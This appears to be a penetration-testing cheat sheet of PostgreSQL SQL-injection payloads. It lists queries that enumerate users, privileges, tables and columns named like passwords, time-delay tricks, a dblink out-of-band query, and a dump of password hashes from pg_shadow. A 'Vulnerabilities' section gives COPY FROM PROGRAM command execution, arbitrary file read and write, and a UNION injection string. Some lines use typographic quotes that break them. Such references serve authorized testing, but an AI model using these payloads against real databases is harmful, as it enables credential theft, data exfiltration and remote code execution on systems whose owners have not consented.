> For the complete documentation index, see [llms.txt](https://security-notes.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security-notes.gitbook.io/security-notes/web-attacks/sql/postgresql.md).

# PostgreSQL

## Database commands

### Comments

```
SELECT 1; –comment
SELECT /*comment*/1;
```

### Version

```
SELECT version();
```

### Users

```
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user WHERE usesuper IS TRUE
SELECT usename FROM pg_user;
SELECT getpgusername();
SELECT usename FROM pg_user
CREATE USER <name> PASSWORD '<pass>';
CREATE USER <name> PASSWORD '<pass>′ CREATEUSER;
DROP USER <name>;
ALTER USER <name> CREATEUSER CREATEDB;
```

### Privileges

```
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user;
```

### Database info

```
SELECT current_database();
SELECT datname FROM pg_database;
SELECT current_setting(‘<dir>’);
SELECT current_setting(‘<setting hba file>’); 
```

### List tables

```
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);
```

### List columns

```
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public');
```

### Filter table by column name

```
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%<password>%';
```

### Access nth row

```
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET ;
```

### String operations

```
SELECT substr('<str>', <start>, <end>); 
SELECT 6 & 2;
SELECT chr(65);
SELECT ascii('A');
SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
SELECT ‘A’ || 'B’; 
SELECT CHR(65)||CHR(66);
```

### Conditional execution

```
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
```

### Time delay

```
SELECT pg_sleep(<seconds>); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(<seconds>);
```

### DNS and HTTP

```
SELECT * FROM dblink('host=<host> user=<usr>  dbname=<bd>', 'SELECT version()') RETURNS (result TEXT);
SELECT inet_server_addr();
SELECT inet_server_port();
```

## Passwords

```
SELECT usename, passwd FROM pg_shadow;
```

**Format:** MD5

## Vulnerabilities

### RCE

```
CREATE TABLE exec(output text);
COPY exec FROM program '<command>';
```

### Arbitrary file access

```
CREATE TABLE mydata(t text);
COPY mydata FROM '<path to file>'; 
```

#### SQLi

```
…' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET <nth repeat for each row>;
```

### Arbitrary file write

```
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<string>');
COPY mytable (mycol) TO '<dest file>'; 
```